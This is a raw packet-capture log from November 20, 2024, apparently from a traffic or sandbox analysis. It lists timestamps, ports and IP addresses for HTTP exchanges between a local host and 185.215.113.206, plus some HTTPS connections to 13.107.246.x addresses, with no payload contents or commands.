Nov 20, 2024 18:57:48.395988941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.395988941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.396001101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.396013975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.396028996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.396059990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.396147013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.396158934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.396193027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.396223068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.396845102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.396902084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.396936893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.396985054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.397702932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.397715092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.397748947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.397764921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.398464918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.398514032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.398582935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.398621082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.399333954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.399379969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.399559975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.399599075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.400078058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.400165081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.400203943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.401040077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.401089907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.401169062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.401206970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.401709080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.401721954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.401755095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.401767969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.402508974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.402600050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.402602911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.402640104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.403356075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.403397083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.403429031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.403466940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.404146910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.404203892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.404268026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.404329062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.404939890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.404987097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.405036926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.405081987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.405739069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.405787945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.405927896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.405968904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.406754017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.406769037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.406805992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.406837940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.407397032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.407422066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.407455921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.407475948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.408199072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.408308029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.408313036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.408360958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.409109116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.409145117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.409214973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.409261942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.409811974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.409877062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.410249949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.410301924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.410918951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.410932064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.410969019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.410980940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.411453962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.411519051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.411571026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.411618948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.412277937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.412398100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.412455082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.413047075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.413098097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.413167000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.413209915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.414051056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.414072037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.414096117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.414110899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.414792061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.414804935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.414845943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.414861917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.415482044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.415559053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.492594957 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.493073940 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.493098974 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.493753910 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.493758917 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.531267881 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.531364918 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.531388044 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.531407118 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.531431913 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.531447887 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.531467915 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.531493902 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.531495094 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.531518936 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.531537056 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.584278107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.584434986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.584454060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.584494114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.584570885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.584606886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.584646940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.584687948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.584774017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.584819078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.584897041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.584943056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.585654974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.585731030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.585892916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.585978031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.586466074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.586522102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.586524010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.586563110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.588670015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.588709116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.588716030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.588761091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.588762045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.588835955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.588871002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.588885069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.588912964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.588927984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.589690924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.589725971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.589741945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.589756012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.590578079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.590643883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.590740919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.590878963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.591290951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.591475010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.591521025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.592953920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.593003035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.593039989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.593054056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.593081951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.593096972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.593101978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.593249083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.593741894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.593791962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.593866110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.594090939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.594542980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.594595909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.594634056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.594677925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.595398903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.595443964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.595562935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.595601082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.596235037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.596280098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.596302032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.596338034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.596999884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.597063065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.597135067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.597309113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.597811937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.597863913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.598023891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.598130941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.598639965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.598691940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.598799944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.598877907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.599430084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.599474907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.599536896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.599576950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.600265980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.600307941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.600378990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.600474119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.601043940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.601089954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.601159096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.601258993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.603091002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.603133917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.603137016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.603193045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.603197098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.603213072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.603256941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.603256941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.603547096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.603590012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.603590012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.603629112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.604310989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.604360104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.604422092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.604460955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.605490923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.605561018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.605609894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.605653048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.605935097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.605947971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.605988979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.606746912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.606792927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.606862068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.606945038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.607685089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.607737064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.607752085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.607794046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.608510971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.608555079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.608634949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.608871937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.609194040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.609285116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.609313965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.609350920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.610012054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.610058069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.610058069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.610100031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.610857010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.610920906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.611016035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.611064911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.611768007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.611896038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.611949921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.611989975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.612463951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.612504005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.612524033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.612586975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.613248110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.613322973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.613362074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.613490105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.614039898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.614084005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.614185095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.614224911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.614859104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.614908934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.614953995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.615650892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.615695953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.615773916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.615817070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.616561890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.616625071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.616632938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.616668940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.617273092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.617331028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.617397070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.617564917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.618094921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.618151903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.618274927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.618448019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.618932962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.619025946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.619067907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.619102955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.619738102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.619781017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.619828939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.619879007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.620527029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.620579004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.620603085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.620650053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.621328115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.621387959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.621467113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.621555090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.622152090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.622226000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.622229099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.622267008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.622956991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.622982979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.623006105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.623023033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.623771906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.623812914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.623857975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.623919010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.624730110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.624773026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.624818087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.624856949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.625407934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.625452995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.625490904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.625657082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.626213074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.626261950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.675200939 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.676017046 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.676029921 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.676422119 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.676425934 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.690448046 CET	443	49868	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.691076040 CET	49868	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.691102028 CET	443	49868	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.691807032 CET	49868	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.691817045 CET	443	49868	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.709958076 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.709975004 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.710012913 CET	443	49863	13.107.246.40	192.168.2.6
